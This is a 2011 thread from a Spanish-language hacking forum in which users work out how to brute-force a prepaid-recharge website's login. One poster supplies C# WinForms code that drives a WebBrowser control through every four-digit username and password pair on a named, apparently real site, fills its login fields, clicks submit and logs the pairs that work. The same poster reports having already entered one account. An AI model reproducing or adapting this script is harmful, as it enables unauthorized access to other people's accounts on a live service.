Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: _katze_ en 28 Febrero 2011, 20:33 pm



Título: [guiarme] auto loguin xD
Publicado por: _katze_ en 28 Febrero 2011, 20:33 pm
tengo una duda y noc por donde empezar o mas o menos como encarar el tema....es lo siguiente...tengo una web de prueba la cual para loguearce tiene como usuario y contraseña numeros de cuatro cifra por ejemplo
Código:
1403
2552
y todos los usuarios validos estan en una base de datos. lo que deseo hacer es generar dichos numeros y loguearnos en la web si el logueo es correcto me devuelva que fue correcto y guardar sea donde sea los logueos posibles y todo esto de forma lo mas automatica posible.


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 1 Marzo 2011, 16:20 pm
Y al ingresar a la web ya sabes q es lo q aparece? o talvez con solo saber el mensaje de error q tirara en la web con una contraseña incorrecta te sirve lo q yo ando haciendo.

Uso el webbrowser para loguearme a una web, talvez podes hacer lo mismo con un bucle aumentando el valor de la pass, q demorara va a demorar si pero asi son los cracks de passwords..
Dime si sabes hacer eso, q yo justo ando en eso y estoy segurisimo q andara aunque talvez estas buscando una respuesta con una solucion mas profesional xD pero bueno..


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 1 Marzo 2011, 16:24 pm
si es facil saber si te logueas o no te devuelve un msj...cualkier forma me sirve para empezar muestra que es lo que tienes y veamos " :D gracias por responder


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 1 Marzo 2011, 16:46 pm
Fa no soy tan bueno para explicar, no puedes darme la web y la analizo? esq trabaja asi la cosa, sabiendo el codigo html


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 1 Marzo 2011, 17:45 pm
postea code entonces man  :D


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 1 Marzo 2011, 20:41 pm
Esq se me haria largo explicarte pero bueno mira:

Código
  1. WebBrowser web = new WebBrowser();
  2. public string usuario;
  3. public string password;
  4.  
  5. void Entrar(){
  6. usuario = "zero";
  7. password = "123456";
  8.  
  9. web.Navigate("http://www.webdelingreso.com");
  10. }
  11. private void web_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  12.        {
  13. web.Document.GetElementById("en_pseudo").SetAttribute("value", usuario);
  14. web.Document.GetElementById("en_password").SetAttribute("value", password);
  15. web.Document.GetElementById("B1").InvokeMember("Click");
  16. }
  17.  
  18.  

Dime si has echo cosas asi? asi no te explico al pedo ya q vs sabes mas q yo en esto, pero talvez esto no lo has echo nunca no se..


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 2 Marzo 2011, 01:38 am
de esta manera no y me gusta porq no dwependo del webbrowser...si tenes algo mas postealo que yo lo entiendo...solo que al private sub no lo se si lo hiciste vos....


Título: Re: [guiarme] auto loguin xD
Publicado por: seba123neo en 2 Marzo 2011, 01:47 am
podes hacer un POST con sockets, seria lo mas correcto en vez de usar el webbrowser, podes decir cual es la web ??

saludos.


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 2 Marzo 2011, 02:01 am
esta es, si lo mas correcto seria usar socket con post pero supongo que para empezar seria lo correcto..aparte no conozco bn http como para meterme de lleno
http://recarga.gygrecarga.com.ar/Wap/WAPSaldo.aspx (http://recarga.gygrecarga.com.ar/Wap/WAPSaldo.aspx)


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 2 Marzo 2011, 02:25 am
de esta manera no y me gusta porq no dwependo del webbrowser...si tenes algo mas postealo que yo lo entiendo...solo que al private sub no lo se si lo hiciste vos....

Bueno esa era mi idea, sabia q no iba a ser la mejor pero es justo lo q ando manejando y se me ocurrio q podrias usarlo asi, ya q andar va a andar de la forma q yo digo aunque demore mas.
Y ese void es un evento del webbrowser y el contenido lo hice yo si y en tu caso no se como ira, no lo entiendo bien al codigo html pero ya me gusto la idea y voy a ver si puedo hacer eso q dices, vs intenta de la forma q dice seba q el sabe mas del tema.


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 2 Marzo 2011, 03:12 am
dame tu mail zero asi charlamos mejor te parece ?


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 2 Marzo 2011, 03:19 am
Dale ya entre a una cuenta xD pero le faltaa aun, me siento un haxor jajaja va por mp, nos hablamos!


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 2 Marzo 2011, 15:07 pm
Bueno aca dejo el codigo q hice, eso si.. demorara segun mis calculos 2 años xD pero me parece una exageración asiq no sirve ese metodo asi xD, aunque hace 1 verificacion por segundo.. bueno aca dejo:


Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9.  
  10. namespace WindowsFormsApplication1
  11. {
  12.    public partial class Form1 : Form
  13.    {
  14.        public int usuario = 1000;
  15.        public int password = 1000;
  16.  
  17.        public Form1()
  18.        {
  19.            InitializeComponent();
  20.        }
  21.  
  22.        private void Form1_Load(object sender, EventArgs e)
  23.        {
  24.            web.Navigate("http://recarga.gygrecarga.com.ar/Wap/WAPSaldo.aspx");
  25.  
  26.        }
  27.  
  28.        private void web_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  29.        {
  30.            string data = web.Document.Body.InnerText;
  31.            if (data.Contains("Recarga"))
  32.            {
  33.  
  34.                textBox1.Text += "\nUsuario: " + usuario.ToString() + " Password: " + password.ToString();
  35.                web.Navigate("http://recarga.gygrecarga.com.ar/Wap/WAPLogin.aspx");
  36.                if (password == 9999) { usuario++; password = 1000; }
  37.                else password++;
  38.            }
  39.  
  40.            if (data.Contains("Usuario o Clave Inv"))
  41.            {
  42.  
  43.                if (password == 9999) { usuario++; password = 1000; }
  44.                else password++;
  45.                web.Document.GetElementById("cmd_Back").InvokeMember("Click");
  46.  
  47.            }
  48.  
  49.  
  50.            web.Document.GetElementById("tb_User").SetAttribute("value", usuario.ToString());
  51.            web.Document.GetElementById("tb_Clave").SetAttribute("value", password.ToString());
  52.            web.Document.GetElementById("cb_Ingresar").InvokeMember("Click");
  53.  
  54.        }
  55.  
  56.  
  57.    }
  58. }
  59.  


Título: Re: [guiarme] auto loguin xD
Publicado por: _katze_ en 2 Marzo 2011, 15:40 pm
es bueno man pero creo que achicando nrango obtenes algo mas ..........noc si sacaste algo


Título: Re: [guiarme] auto loguin xD
Publicado por: Edu en 2 Marzo 2011, 15:57 pm
Ahora me conecto al msn pero no saque nada, me levante y tenia q no se pudo encontrar la pagina, pero tampoco habia puesto en el textbox ningun usuario, solo ese q sale enseguida ( suerte solamente xD)
Y ahora lo deje 1 hora y cambio a 1001 usuario, asique anda perfecto, solo eso.. demora 2 años segun mis calculos xD jaja